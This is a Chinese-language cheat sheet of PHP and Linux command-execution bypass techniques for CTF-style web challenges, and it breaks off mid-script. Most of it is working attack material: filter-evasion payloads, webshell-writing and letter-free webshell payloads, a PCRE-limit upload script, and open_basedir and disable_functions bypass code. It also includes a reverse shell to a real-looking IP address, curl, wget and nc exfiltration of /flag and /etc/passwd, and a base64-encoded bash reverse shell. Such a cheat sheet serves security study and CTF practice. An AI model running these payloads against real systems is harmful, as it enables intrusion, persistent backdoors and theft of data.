命令执行 TODO:https://www.viewofthai.link/2022/12/18/php-rce-%e5%a7%bf%e5%8a%bf-%e6%80%bb%e7%bb%93/
基础知识 php命令执行函数 1 2 3 4 5 6 7 8 system () passthru () exec () shell_exec () popen () proc_open () pcntl_exec () 反引号`` 同shell_exec ()
管道符与元字符 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 CR :回车键<ennter> =:设定变量$: 作变量或运算替换 >:重定向标准输入 <:重定向标准输出 [:alnum : ] 任意数字或者字母 [:alpha : ] 任意字母 [:space : ] 空格 [:lower : ] 小写字母 [:digit : ] 任意数字 [:upper : ] 任意大写字母 [:cntrl : ] 控制符 [:graph : ] 图形 [:print : ] 可打印字符 [:punct : ] 标点符号 [:xdigit : ] 十六进制数 [:blank : ] 空白字符 | :命令管道 & :重导向文件描述符,或将命令静默执行 || :前面的命令执行错误就执行后面的语句,否则只执行前面的语句 && :前面的命令执行正确就执行后面的语句,否则只执行前面的语句 ; :忽略前一个命令的返回值,继续执行下一条指令
空格的替换 常规替换 1 2 3 4 5 6 7 8 < <> $IFS ${IFS} $IFS$(1 -9 ) #从1 到9 ,可以进行fuzz {cat,flag.txt} %09 %20
$u的妙用 1 2 3 // $u 在Linux中代表的是空字符串(未初始化变量),并不是代表是空格,我们可以将其随意插入到命令中,比如 c${u} at index$u .php$u c`$u `at index$u .php$u
命令提示符$绕过 1 2 3 4 5 6 7 $* 、$@ 、$x (x=1 ~9 )、${ x}(x>9 ) 在没有传参时,这些值都为空($0 表示shell本身的文件名,不可用) 例如: ca$* t flag ca$@ t flag ca$7t flag ca${ 18 }t flag
通配符 1 2 3 4 5 6 7 8 9 10 11 12 13 ?:匹配一个字符 #cat fl ?? [list ]:匹配list 内的任意单个字符 #cat fl [a]g 例如[@-[]可以表示大写字母 [!list ] or [ ^list ]:匹配list 外的任意单个字符 #cat fla[s] {s1,s2,s3,...}:匹配s1,s2,s3或者其它更多字符 #cat fl {a,b}g file =/???/????????[@-[]
可插入字符 1 2 3 4 5 6 7 8 9 10 11 12 l<s l<>s ca"" t ca'' t ca`` t ca\t a=c;b=at;$a$b xxx.php # 变量拼接 c${u}at # 因为c$uat 系统不知道你要执行的是$u还是$uat,因此加上界定符,命令成功运行 l`$u` s wh$1oami who$@ami whoa$*mi
bash读取文件命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 cat flag tac flag php flag head flag tail flag more flag less flag nl flag od flag file -f flag sort flag uniq flag paste flag diff flag file bzmore flag bzless flag curl file: sed -n '1,2p' flag strings grep
php文件读取函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #通过单一函数读取文件 c=echo file_get_contents("flag.php" ); c=readfile("flag.php" ); c=var_dump(file ('flag.php' )); c=print_r(file ('flag.php' )); #这里做一个解释`file — 把整个文件读入一个数组中` #通过fopen 去读取文件内容,这里介绍下函数fread () fgets() fgetc() fgetss() fgetcsv() gpassthru() 一些payload: c=$a=fopen ("flag.php" ,"r" );while (!feof ($a)) {$line = fgets($a);echo $line;}#一行一行读取 c=$a=fopen ("flag.php" ,"r" );while (!feof ($a)) {$line = fgetc($a);echo $line;}#一个一个字符读取 c=$a=fopen ("flag.php" ,"r" );while (!feof ($a)) {$line = fgetcsv($a);var_dump($line);}
1 2 3 4 5 6 7 payload1:c=system("nl fla?????" ); payload2:c=system("nl fla*" ); payload3:c=echo `nl fl'' ag.php`; 或者c=echo `nl fl“”ag.php`; payload4:c=echo `nl fl\ag.php`; payload5:c=include($_GET [1]);&1=php://filter/read=convert.base64-encode/resource=flag.php payload6:c=eval ($_GET [1]);&1=system('nl flag.php' ); payload7:c=awk '{printf $0}' flag.php||
Bypass技巧 1.bash进制转换、编码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //16进制编码、解码 $ echo "cat flag" |xxd -p 63617420666c61670a $ echo "63617420666c61670a" |xxd -r -p cat flag //8进制执行 $(printf "\154\163" ) //base64编码、解码 $ echo "cat flag" | base64 Y2F0IGZsYWcK $ echo "Y2F0IGZsYWcK" | base64 -d cat flag `echo 'Y2F0Cg==' | base64 -d` flag.txt
如果加上直接执行的话就是
1 2 3 4 5 6 echo <hexString>|xxd -r -p|bashecho <base64String>|base64 -d|bash bash -c {echo ,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzMuMjAzLjIvNDQ0NCAwPiYx}|{base64 ,-d}|{bash,-i}
2.bash内联执行 将输出作为输入执行
1 2 3 4 5 $(echo 'cat flag' ) `echo 'cat flag' `
3.bin目录 bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。 例如:
1 2 /bin/ ?at${IFS} f??????? /bin/ base64
3.cp mv 改文件名 1 2 3 4 cp fla?.php 1 .txt mv fla?.php 1 .txt// 另外使用php函数也可以改文件名 c=rename('flag.php' ,'1.txt' )
然后访问1.txt
4.文件包含二次传参 可以使用include、require来构造文件包含读文件。
%0a用于换行绕过,另外include可以不使用()使用?>闭合。
1 2 3 4 5 6 7 c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php //伪协议读 c=include$_GET[1]?>&1=data://text/plain, <?php system ("cat flag.php" );?> //写文件 c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== //base64写文件 c=include$_GET[1]?>&1=data://text/plain, <?php fputs (fopen ("shell.php" ,"w" ),"<?php eval(\$_POST['hack']);?>" )?> //写后门 //require和include一样 c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
5.短标签 写shell bypass较常用。
1 2 // <?= ?> :短标签,相当于 <?php ?> ,也可以写成 <? ?> 例如: <? echo %09 `cat%09 /flag`?>
6.无参函数绕过 https://www.cnblogs.com/pursue-security/p/15406272.html
https://blog.csdn.net/weixin_46330722/article/details/110840156
有时候会遇到如下类型的过滤:
1 2 3 if (';' === preg_replace('/[^\W]+\((?R)?\)/' , '' , $_GET['code' ])) { eval ($_GET['code' ]) }
意思就是传入的函数必须是无参执行的,像phpinfo()之类。
我们绕过的思路就是利用php的一些无参函数的返回值,一层层嵌套执行。
注:此姿势仅限于apache可以使用。
getallheaders()顾名思义是获取所有请求头信息,并以数组形式返回。
end()是取数组中最后一个元素值。
impode是将数组元素连接成为一个字符串。
用这三个函数我们可以提取请求头参数值来命令执行 。
1 2 3 code =eval (end (getallheaders ()))code =eval (implode (getallheaders ()))
get_defined_vars() 、current()、end() 这种方式就更通用一些。
get_defined_vars():获取四个超全局变量GET 、POST、FILES、COOKIE,并以二维数组的形式返回。
current():可以将二位数组转换成一维数组 并返回数组中的当前单元;默认是GET中的第一个。
我们可以使用end(current(get_defined_vars()))获取传递的最后一个GET参数值,然后eval执行
1 2 code =eval (end (current (get_defined_vars ())))&spring =phpinfo ();
session_id() session_id()函数用于返回当前会话PHPSESSID的值,当然需要先执行session_start()来开启session。
然后我们在PHPSESSID中写入恶意代码就可以被获取到并执行。
但要注意PHPSESSID只允许[A-Za-z0-9],因此我们还要将恶意代码转换成16进制再用hex2bin解码。
1 2 赋值PHPSESSID=706870696e666f28293b # phpinfo () ; code=eval(hex2bin(session_id(session_start())))
PHP函数直接读文件 以一道题目为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } }?>
根据过滤来看前面三种都不能用了,因此要换个思路。
localeconv():返回一个包含本地数字及货币格式信息的数组,重点在于返回数组第一个元素是 .
,因此我们用current取出.
来读取当前目录。
scandir():列出目录中的文件和目录
pos():和current()一样输出数组中当前元素的值。
关于数组操作还有一些函数:
chdir():用于跳出目录,比如进入上一层目录就需要chdir(“..”)
array_reverse():翻转数组,有时候需要的元素太靠后可以用它。
我们据此构造出payload:
1 2 3 exp=print_r(scandir (current (localeconv () ))) exp=print_r(next (array_reverse (scandir (current (localeconv () ))))) exp=highlight_file(next (array_reverse (scandir (current (localeconv () )))))
7.无字母无数字 异或 以下面这段代码为例:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_POST ['c' ])) { $c = $_POST ['c' ]; if (!preg_match ('/[0-9]|[a-z]|\`|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )) { eval ("echo($c );" ); } } else { highlight_file (__FILE__ ); }?>
过滤了绝大多数字符,但我们可以使用没有被过滤的字符两两异或 来获取被过滤的字符。贴个羽师傅的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php $myfile = fopen ("xor_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[a-z0-9]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )^urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ." " ; } } } }fwrite ($myfile ,$contents );fclose ($myfile );?> <?php $myfile = fopen ("or_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9a-z]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ." " ; } } } }fwrite ($myfile ,$contents );fclose ($myfile );?>
然后再将需要的命令拼接出来即可。
例如:
1 2 3 4 shell=$_ =('%01' ^'`' ).('%13' ^'`' ).('%13' ^'`' ).('%05' ^'`' ).('%12' ^'`' ).('%14' ^'`' ); // $_ ='assert' ;$__ ='_' .('%0D' ^']' ).('%2F' ^'`' ).('%0E' ^']' ).('%09' ^']' ); // $__ ='_POST' ;$___ =$$__ ;$_ ($___ [_]); // assert($_POST [_]);
执行env命令打印环境变量就有flag。
取反 和异或原理差不多,利用两个字符取反来获取想要的字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php fwrite (STDOUT,'[+]your function: ' );$system =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); fwrite (STDOUT,'[+]your command: ' );$command =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); echo '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ;?>
如果想使用call_user_func的话可以使用下面这段取反:
1 2 3 4 5 6 <?php $a =urlencode (~('call_user_func' ));$b =urlencode (~('system' ));$c =urlencode (~('whoami' ));echo ('(~' .$a .')(~' .$b .',~' .$c .',\'\')' );?>
一些常用的取反payload:
1 2 3 4 5 6 7 8 //写马 //file_put_contents('4 .php', '<?php eval(\$_POST[1 ]) (~(%99 %96 %93 %9 A%A0 %8 F%8 A%8 B%A0 %9 C%90 %91 %8 B%9 A%91 %8 B%8 C))(~(%CB %D1 %8 F%97 %8 F), ~(%C3 %C0 %8 F%97 %8 F%DF %9 A%89 %9 E%93 %D7 %DB %A0 %AF %B0 %AC %AB %A4 %CE %A2 %D6 %C4 )) //命令执行 //(call_user_func)(system, whoami, '') (~%9 c %9 e%93 %93 %a0 %8 a%8 c %9 a%8 d%a0 %99 %8 a%91 %9 c )(~%8 c %86 %8 c %8 b%9 a%92 , ~%88 %97 %90 %9 e%92 %96 , '')
自增(有限制) 注意是php5环境。
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
1 2 3 4 <?php if (!preg_match ('/[a-z0-9]/is' ,$_GET ['shell' ])) { eval ($_GET ['shell' ]); }
来自p牛的经典bypas,使用[]数组获取array中的第一个字符 ‘a’ ,然后通过自增去获取其它字符最终构造出webshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php $_ =[];$_ =@"$_ " ; $_ =$_ ['!' =='@' ]; $___ =$_ ; $__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ; $___ .=$__ ; $__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$____ ='_' ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$_ =$$____ ;$___ ($_ [_]);
连接起来就是
1 2 3 4 shell=$_ =[];$_ =@"$_" ;$_ =$_ ['!' =='@' ];$_ =$_ [0 ];$___ =$_ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$____ ='_' ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$_ =$$____ ;$___ ($_ [_ ]); //urlencode shell=%24_ %3D %5B %5D %3B %24_ %3D %40 %22 %24_ %22 %3B %24_ %3D %24_ %5B '!' %3D %3D '%40' %5D %3B %24___ %3D %24_ %3B %24__ %3D %24_ %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24___ .%3D %24__ %3B %24___ .%3D %24__ %3B %24__ %3D %24_ %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24___ .%3D %24__ %3B %24__ %3D %24_ %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24___ .%3D %24__ %3B %24__ %3D %24_ %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24___ .%3D %24__ %3B %24____ %3D '_' %3B %24__ %3D %24_ %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24____ .%3D %24__ %3B %24__ %3D %24_ %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24____ .%3D %24__ %3B %24__ %3D %24_ %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24____ .%3D %24__ %3B %24__ %3D %24_ %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24__ %2B %2B %3B %24____ .%3D %24__ %3B %24_ %3D %24 %24____ %3B %24___ (%24_ %5B_ %5D )%3B
但是这种方式得到的payload过长,万一有长度限制就无法bypass;另外assert函数在php5中可以作为动态函数名来执行代码,类似于
1 2 3 $a='assert' $b='phpinfo();' $a($b)
但在php7中,assert不再作为函数使用,而是变成了语言结构(类似eval),所以这种自增payload在php7也会失效。但我们依然可以采用上面提到的取反的方式进行函数动态调用。
其它 不包含字母与数字的webshell
1 2 3 4 5 // webshell @$_ %2 b%2 b;$__ ='#./|{' ^'|~`//' ;${$__} [!$_ ](${$__} [$_ ]);// post0 =assert&1 =phpinfo();
8.linux内置变量 使用环境内置变量我们可以获取需要的字符。
首先介绍几个linux内置变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $PATH 环境变量,可执行文件的搜索路径$PWD 当前所在目录,比如在ctf环境中是/var/www/html$ {#<var>} 计算变量var的长度$RANDOM 产生0 - 32767之间的随机数 例如:echo $ \{\#RANDOM\} 表示随机整数的位数也就是1 -5 之间任意一个数。$SHLVL 记录多个 Bash 进程实例嵌套深度的累加器 其**默认初始值为1**$USER 获取当前用户名例如:www-data$PHP _VERSION 获取当前php版本例如:echo $\{PHP_VERSION\}$HOME 用户的home目录,一般是/home/username$HOSTNAME 主机名称
然后是一些字符截取操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // linux中可以用`~`获取变量的最后几位 echo ${PWD:~0} // 截取前目录的最后一个字符 // 同时可以用`::`获取变量的前几位 echo ${PWD::0} // 截取当前目录的第一个字符也就是 / // 用`${#变量} `显示变量的长度 echo ${#IFS} // 3 echo ${#} // 0 echo ${#?} // 1 注意一个特殊情况:`${#?} ==1 `因此我们可以使用${#?} 来代替$SHLVL 产生1
$? 的奇妙用法:
$?表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
为什么有 <A<A
返回的错误值 使得$?
为1
一些常用的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 ${ PATH :~A }${ PWD :~A } ?? ?? .?? ?${ PWD : : ${ ${ PWD : : ${ code=${ PWD : : ${ code=<A;${ HOME : : $? }?? ?$ {HOME : : $? }?? ?? ?$ {RANDOM : : $? } ?? ?? .?? ?
9.超过PRCE回溯限制绕正则 参考p牛文章https://www.freebuf.com/articles/web/190794.html
写文件,但文件中不允许输入任何php代码。
1 2 3 4 5 6 7 8 <?php function is_php ($data ) { return preg_match ('/<\?.*[(`;?>].*/is' , $data ); }if (!is_php ($input )) { }
利用正则表达式prce最大次数默认为1000000:
1 pcre .backtrack_limit默认为1000000
发送超过1000000字符大小的数据来使正则执行失败写入木马。
1 2 3 4 5 6 7 8 9 10 import requestsfrom io import BytesIO files = { 'file' : BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://IP/index.php' , files =files, allow_redirects =False )print (res.headers)
10.无回显命令执行 无回显命令执行可以考虑反弹shell或者数据外带。
反弹shell 不多说,直接弹就行
1 sh -i >& /dev/tcp/180.76.162.68 /8081 0 >&1
数据外带 https://blog.csdn.net/weixin_35910073/article/details/112458456
nc 1 2 3 4 // 目标机执行 nc –l –p 1234 < /etc/ passwd // 本机执行 nc IP:1234
curl 1 2 3 4 // 目标机执行 curl http:// 180.76 .162.68 :8888 -File=@/flag// 本机监听 nc -lvnp 8888
wget 由于wget可以指定headers,body等,因此我们将敏感数据放到请求包中里去外带数据
1 2 3 4 5 6 7 8 9 // 目标机执行 wget –header="EVIL:$(cat /flag)" http:// 180.76 .162.68 :5555 wget –header=”evil:`cat /etc/ passwd | xargs echo –n`” http:// 180.76 .162.68 :5555 wget –post-data exfil=`cat /etc/ passwd`&b=1 http:// 180.76 .162.68 :5555 wget –post-file trophy.php http:// 180.76 .162.68 :5555 // 本机监听 nc -lvnp 5555
命令盲注 如果上述命令都不能用那么就考虑命令盲注,采用延时注入的方式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsimport time s=requests.session() flag='' for z in range (1 ,50 ): for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!@#%|^&{}[]/-()+=,\\' : starTime=time.time() url="http://127.0.0.1/?cmd=if [ `cut -c" +str (z)+"-" +str (z)+" /flag` != '" +i+"' ]; then echo 1 ; else sleep 3; fi" r=s.get(url) if ((time.time()-starTime)>3 ): flag+=i print (flag) break print (z)print ('the flag is' +flag)
php安全特性bypass bypass open_basedir https://www.cnblogs.com/hookjoy/p/12846164.html
open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。下面给出几种bypass技巧。
利用sylink()符号链接 1 2 symlink ( string $target , string $link ) : bool
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php mkdir ("A" );chdir ("A" );mkdir ("B" );chdir ("B" );mkdir ("C" );chdir ("C" );mkdir ("D" );chdir ("D" );chdir (".." );chdir (".." );chdir (".." );chdir (".." );symlink ("A/B/C/D" ,"7ea" );symlink ("7ea/../../../../etc/passwd" ,"exp" );unlink ("7ea" );mkdir ("7ea" );?>
访问bypass.php后就为passwd文件创建软链接exp,再访问exp即可读取任意文件。
利用glob://伪协议读根目录 1.DirectoryIterator+glob://
1 2 3 4 5 6 7 8 <?php $c = $_GET ['c' ];$a = new DirectoryIterator ($c );foreach ($a as $f ){ echo ($f ->__toString ().'<br>' ); }?>
2.opendir()+readdir()+glob://
1 2 3 4 5 6 7 8 9 10 <?php $a = $_GET ['c' ];if ( $b = opendir ($a ) ) { while ( ($file = readdir ($b )) !== false ) { echo $file ."<br>" ; } closedir ($b ); }?>
利用chdir()与ini_set()组合 1 mkdir ('mi1k7ea' );chdir ('mi1k7ea' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );echo file_get_contents ('/etc/passwd' );
利用bindtextdomain()函数报错判断文件存在 1 2 bindtextdomain ( string $domain , string $directory ) : string
只能判断文件是否存在,不存在返回false,利用价值不是很大。
1 2 3 4 5 <?php printf ('<b>open_basedir: %s</b><br />' , ini_get ('open_basedir' ));$re = bindtextdomain ('xxx' , $_GET ['dir' ]);var_dump ($re );?>
利用realpath() ->适用于windows 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php ini_set ('open_basedir' , dirname (__FILE__ ));printf ("<b>open_basedir: %s</b><br />" , ini_get ('open_basedir' ));set_error_handler ('isexists' );$dir = 'E:/wamp64/' ;$file = '' ;$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_' ;for ($i =0 ; $i < strlen ($chars ); $i ++) { $file = $dir . $chars [$i ] . '<><' ; realpath ($file ); }function isexists ($errno , $errstr ) { $regexp = '/File\((.*)\) is not within/' ; preg_match ($regexp , $errstr , $matches ); if (isset ($matches [1 ])) { printf ("%s <br/>" , $matches [1 ]); } }?>
bypass disable_functions 适用于拿到shell禁用了危险函数的情况。
https://www.anquanke.com/post/id/208451?from=timeline
补充 最新的两种bypassphp-concat-bypass
与php-filter-bypass
。
GitHub - mm0r1/exploits: Pwn stuff.
LD_PRELOAD 利用mail()等函数开启新进程加载恶意so,已总结不再赘述。
Apache Mod CGI 本质上是利用·.htaccess
,需要满足如下条件:
目录下有写权限
apache 使用 apache_mod_php
Web 目录给了 AllowOverride 权限
启用了mod_cgi
1 2 3 4 5 6 7 #上传.htaccess Options +ExecCGI AddHandler cgi-script .test #上传shell.test #!/bin/bash echo&&cat /etc/passwd
然后访问shell.test即可触发。
或者若允许上传php脚本可以直接执行php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php $cmd = "nc -c '/bin/bash' xxx.xx.xx.xx 4444" ; $shellfile = "#!/bin/bashn" ; $shellfile .= "echo -ne " Content-Type: text/html\n\n"n" ; $shellfile .= "$cmd " ; function checkEnabled ($text ,$condition ,$yes ,$no ) //this surely can be shorter { echo "$text : " . ($condition ? $yes : $no ) . "<br>n" ; }if (!isset ($_GET ['checked' ])) { @file_put_contents ('.htaccess' , "nSetEnv HTACCESS on" , FILE_APPEND); header ('Location: ' . $_SERVER ['PHP_SELF' ] . '?checked=true' ); }else { $modcgi = in_array ('mod_cgi' , apache_get_modules ()); $writable = is_writable ('.' ); $htaccess = !empty ($_SERVER ['HTACCESS' ]); checkEnabled ("Mod-Cgi enabled" ,$modcgi ,"Yes" ,"No" ); checkEnabled ("Is writable" ,$writable ,"Yes" ,"No" ); checkEnabled ("htaccess working" ,$htaccess ,"Yes" ,"No" ); if (!($modcgi && 